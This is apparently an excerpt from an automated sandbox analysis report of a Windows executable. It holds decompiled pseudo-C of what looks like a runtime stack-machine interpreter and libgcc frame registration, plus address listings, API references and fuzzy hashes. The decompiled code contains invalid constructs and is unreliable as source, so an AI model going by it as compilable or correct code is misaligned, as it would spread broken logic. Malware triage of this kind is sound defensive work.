										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L78:
										__ecx = _a28;
										__edx =  *(__esi + 0x6073f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L81:
												__eax =  *__eax;
												goto L82;
											}
										} else {
											L79:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L142;
								case 0x18:
									L17:
									__esi = __ebx;
									goto L12;
								case 0x19:
									L32:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00420C00(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = E00420AC0(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L111:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L112:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L113:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L114:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L115:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L116:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L117:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L118:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L119:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L121:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L122:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L125:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L129;
									} else {
										L11:
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L142;
							}
						}
						L142:
					}
					L13:
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						L14:
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__ebx);
						_pop(__esi);
						_pop(__edi);
						_pop(__ebp);
						return __eax;
					}
					goto L142;
				}
				L129:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_t208 = _t207 - 0x1c;
				 *_t208 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t209 = _t208 - 4;
				if(_t189 == 0) {
					 *0x4b6004 = 0x424590;
					_t202 = E00424340;
				} else {
					_t197 = _t189;
					 *_t209 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t211 = _t209 - 4;
					 *0x607df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t211 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t212 = _t211 - 8;
					_t202 = _t193;
					_v40 = "__deregister_frame_info";
					 *_t212 = _t197;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t209 = _t212 - 8;
				}
				if(_t202 != 0) {
					_v40 = 0x60701c;
					 *_t209 = 0x5ca0f8;
					 *_t202();
				}
				 *_t209 = 0x401590;
				return E004014C0();
				goto L142;
			}

0x00421f10
0x00421f10
0x00421f10
0x00421f10
0x00421f17
0x00000000
0x00000000
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af0
0x00421af3
0x00421af6
0x00421af9
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb0
0x00421fb3
0x00422050
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00421be5
0x00422034
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00421d90
0x00421d90
0x00421d94
0x00421d96
0x00000000
0x00421d9c
0x00421d9c
0x00421d9c
0x00421d9f
0x00421da1
0x00000000
0x00421da1
0x00000000
0x00000000
0x00421d73
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f70
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00421b29
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00000000
0x00421b30
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b52
0x00421b53
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: fbeafb7b17211560d4da5c8fd99713e2b4732f54c92c7afffb0ea1e477d771c4
Instruction ID: 41c688becfc7443a75d71cf71071e416a82067d09192ba7fd73943355de14ee0
Opcode Fuzzy Hash: fbeafb7b17211560d4da5c8fd99713e2b4732f54c92c7afffb0ea1e477d771c4
Instruction Fuzzy Hash: 17E0303055A3128BC251FF1DB08902EF3F5BFE5708FA62ABFD540A3215D774B4148A4A

Uniqueness

Uniqueness Score: -1.00%

Function 00421D49 Relevance: 21.0, APIs: 14, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421D49(void* __esi, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t188;
				struct HINSTANCE__* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t194;
				struct HINSTANCE__* _t196;
				void* _t200;
				_Unknown_base(*)()* _t201;
				void* _t206;
				char** _t207;
				char** _t208;
				struct HINSTANCE__** _t210;
				struct HINSTANCE__** _t211;

				_t200 = __esi;
				while(1) {
					L55:
					__ebp = _a20;
					__ecx =  *(__esi + 1) & 0x000000ff;
					__edx = __esi + 2;
					__eax =  &_v1;
					if(__ecx >= __eax) {
						break;
					}
					__eax = __eax - __ecx;
					__esi = __edx;
					__edi =  *(__esp + 0x30 + __eax * 4);
					while(1) {
						L10:
						if(__ebp > 0x3f) {
							goto L130;
						}
						__eax =  &_a1;
						 *(__esp + 0x30 + __ebp * 4) = __edi;
						_a20 =  &_a1;
						while(1) {
							L12:
							if(_a24 <= __esi) {
								break;
							}
							__eax =  *__esi & 0x000000ff;
							__ecx = __eax - 3;
							__edx = __eax;
							if(__cl > 0xee) {
								L97:
								abort();
								goto L98;
							} else {
								__ecx = __cl & 0x000000ff;
								switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
									case 0:
										__ebp = _a20;
										__edi =  *(__esi + 1);
										__esi = __esi + 5;
										__eflags = __esi;
										goto L10;
									case 1:
										goto L97;
									case 2:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L130;
										} else {
											__ebp = __eax;
											__ebp =  &_v1;
											__edi =  *(__esp + 0x30 + __ebp * 4);
											__eflags = __dl - 0x1f;
											if(__eflags == 0) {
												__edi =  ~__edi;
												__esi = __ebx;
											} else {
												if(__eflags <= 0) {
													L98:
													__eflags = __dl - 6;
													if(__dl != 6) {
														__eflags = __dl - 0x19;
														if(__dl != 0x19) {
															goto L97;
														} else {
															__eax = __edi;
															__esi = __ebx;
															__eax = __edi >> 0x1f;
															__edi = __edi ^ __eax;
															__edi = __edi - __eax;
														}
													} else {
														__edi =  *__edi;
														__esi = __ebx;
													}
												} else {
													__eflags = __dl - 0x23;
													if(__dl == 0x23) {
														__esi = 0;
														__ecx = 0;
														__eflags = 0;
														do {
															__ebx = __ebx + 1;
															__edx =  *(__ebx - 1) & 0x000000ff;
															 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
															__eax = ( *(__ebx - 1) & 0x7f) << __cl;
															__ecx = __ecx + 7;
															__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
															__eflags = __dl;
														} while (__dl < 0);
														__edi = __edi + __esi;
														__esi = __ebx;
													} else {
														__eflags = __dl - 0x94;
														if(__dl != 0x94) {
															__eflags = __dl - 0x20;
															if(__dl == 0x20) {
																__edi =  !__edi;
																__esi = __ebx;
															} else {
																goto L97;
															}
														} else {
															__eax =  *(__esi + 1) & 0x000000ff;
															__edx = __esi + 2;
															__eflags = __al - 2;
															if(__eflags == 0) {
																__edi =  *__edi & 0x0000ffff;
																__esi = __edx;
															} else {
																if(__eflags <= 0) {
																	__eflags = __al - 1;
																	if(__al != 1) {
																		goto L97;
																	} else {
																		__edi =  *__edi & 0x000000ff;
																		__esi = __edx;
																	}
																} else {
																	__eflags = __al - 4;
																	if(__al == 4) {
																		L31:
																		__edi =  *__edi;
																		__esi = __edx;
																	} else {
																		__eflags = __al - 8;
																		if(__al != 8) {
																			goto L97;
																		} else {
																			goto L31;
																		}
																	}
																}
															}
														}
													}
												}
											}
											goto L10;
										}
										goto L143;
									case 3:
										__edi =  *(__esi + 1) & 0x000000ff;
										__ebp = _a20;
										__esi = __esi + 2;
										goto L10;
									case 4:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 2;
										goto L10;
									case 5:
										__edi =  *(__esi + 1) & 0x0000ffff;
										__ebp = _a20;
										__esi = __esi + 3;
										goto L10;
									case 6:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 3;
										goto L10;
									case 7:
										__edi =  *(__esi + 1);
										__ebp = _a20;
										__esi = __esi + 9;
										goto L10;
									case 8:
										__esi = __ebx;
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											__esi = __esi + 1;
											__edx =  *(__esi - 1) & 0x000000ff;
											 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
											__eax = ( *(__esi - 1) & 0x7f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__ebp = _a20;
										goto L10;
									case 9:
										__edi = 0;
										__ecx = 0;
										__eflags = 0;
										do {
											__ebx = __ebx + 1;
											__edx =  *(__ebx - 1) & 0x000000ff;
											__edx = __edx & 0x0000007f;
											__eax = (__edx & 0x0000007f) << __cl;
											__ecx = __ecx + 7;
											__edi = __edi | (__edx & 0x0000007f) << __cl;
											__eflags = __dl;
										} while (__dl < 0);
										__eflags = __ecx - 0x1f;
										if(__ecx > 0x1f) {
											goto L95;
										} else {
											__edx = __edx & 0x00000040;
											__eflags = __edx;
											if(__edx == 0) {
												goto L95;
											} else {
												__eax = 1;
												__ebp = _a20;
												__esi = __ebx;
												1 << __cl =  ~(1 << __cl);
												__edi = __edi |  ~(1 << __cl);
											}
										}
										goto L10;
									case 0xa:
										__ebp = _a20;
										__eflags = __ebp;
										if(__ebp == 0) {
											goto L130;
										} else {
											__edi =  *(__esp + 0x2c + __ebp * 4);
											__esi = __ebx;
											goto L10;
										}
										goto L143;
									case 0xb:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L130;
										} else {
											__eax = __eax - 1;
											__esi = __ebx;
											_a20 = __eax;
											goto L12;
										}
										goto L143;
									case 0xc:
										__ebp = _a20;
										__eflags = __ebp - 1;
										if(__ebp <= 1) {
											goto L130;
										} else {
											__edi =  *(__esp + 0x28 + __ebp * 4);
											__esi = __ebx;
											goto L10;
										}
										goto L143;
									case 0xd:
										goto L55;
									case 0xe:
										__eax = _a20;
										__eflags = __eax - 1;
										if(__eax <= 1) {
											goto L130;
										} else {
											__edx = __eax - 1;
											__eax = __eax - 2;
											__esi =  *(__esp + 0x30 + __eax * 4);
											__ecx =  *(__esp + 0x30 + __edx * 4);
											 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
											__esi = __ebx;
											 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
											goto L12;
										}
										goto L143;
									case 0xf:
										__eax = _a20;
										__eflags = __eax - 2;
										if(__eax <= 2) {
											goto L130;
										} else {
											__ecx = __eax - 1;
											__edx = __eax - 2;
											__eax = __eax - 3;
											__esi =  *(__esp + 0x30 + __ecx * 4);
											__ebp =  *(__esp + 0x30 + __edx * 4);
											__edi =  *(__esp + 0x30 + __eax * 4);
											 *(__esp + 0x30 + __ecx * 4) = __ebp;
											 *(__esp + 0x30 + __edx * 4) = __edi;
											 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
											__esi = __ebx;
											goto L12;
										}
										goto L143;
									case 0x10:
										__eax = _a20;
										__eflags = __eax - 1;
										if(__eax <= 1) {
											goto L130;
										} else {
											__ebp = __eax - 2;
											__edx = __edx - 0x1a;
											__ecx =  *(__esp + 0x2c + __eax * 4);
											__edi =  *(__esp + 0x30 + __ebp * 4);
											__eflags = __dl - 0x14;
											if(__dl > 0x14) {
												goto L97;
											} else {
												__edx = __dl & 0x000000ff;
												switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
													case 0:
														goto L112;
													case 1:
														goto L113;
													case 2:
														goto L114;
													case 3:
														goto L115;
													case 4:
														goto L116;
													case 5:
														goto L97;
													case 6:
														goto L117;
													case 7:
														goto L118;
													case 8:
														goto L119;
													case 9:
														goto L120;
													case 0xa:
														goto L121;
													case 0xb:
														goto L122;
													case 0xc:
														goto L123;
													case 0xd:
														goto L124;
													case 0xe:
														goto L125;
													case 0xf:
														goto L126;
													case 0x10:
														goto L127;
													case 0x11:
														goto L128;
												}
											}
											goto L10;
										}
										goto L143;
									case 0x11:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L130;
										} else {
											__eax = __eax - 1;
											__edi = __eax;
											_a20 = __eax;
											__eax = __esi + 3;
											__edx =  *(__esp + 0x30 + __edi * 4);
											__eflags =  *(__esp + 0x30 + __edi * 4);
											if( *(__esp + 0x30 + __edi * 4) == 0) {
												__esi = __eax;
											} else {
												__esi =  *(__esi + 1);
												__esi = __esi + __eax;
											}
											goto L12;
										}
										goto L143;
									case 0x12:
										__eax =  *(__esi + 1);
										__esi = __esi +  *(__esi + 1) + 3;
										goto L12;
									case 0x13:
										__edi = __eax - 0x30;
										__ebp = _a20;
										__esi = __ebx;
										goto L10;
									case 0x14:
										__eax = __eax - 0x50;
										__eflags = __eax - 0x11;
										if(__eax > 0x11) {
											goto L130;
										} else {
											__esi = _a28;
											__edx =  *(__eax + 0x6073f4) & 0x000000ff;
											__edi =  *(__esi + __eax * 4);
											__eflags =  *(__esi + 0x63) & 0x00000040;
											if(( *(__esi + 0x63) & 0x00000040) == 0) {
												L53:
												__eflags = __dl - 4;
												if(__dl == 4) {
													goto L39;
												} else {
													goto L130;
												}
											} else {
												__eflags =  *((char*)(__esi + __eax + 0x6c));
												if( *((char*)(__esi + __eax + 0x6c)) != 0) {
													goto L95;
												} else {
													goto L53;
												}
											}
										}
										goto L143;
									case 0x15:
										__ebp = 0;
										__ecx = 0;
										__eflags = 0;
										__esi = __eax;
										do {
											__ebx = __ebx + 1;
											__eax =  *(__ebx - 1) & 0x000000ff;
											__eax = __eax & 0x0000007f;
											__edx = (__eax & 0x0000007f) << __cl;
											__ecx = __ecx + 7;
											__ebp = __ebp | (__eax & 0x0000007f) << __cl;
											__eflags = __al;
										} while (__al < 0);
										__edi = __eax;
										__eax = __esi;
										__esi = __edi;
										__eflags = __ecx - 0x1f;
										if(__ecx <= 0x1f) {
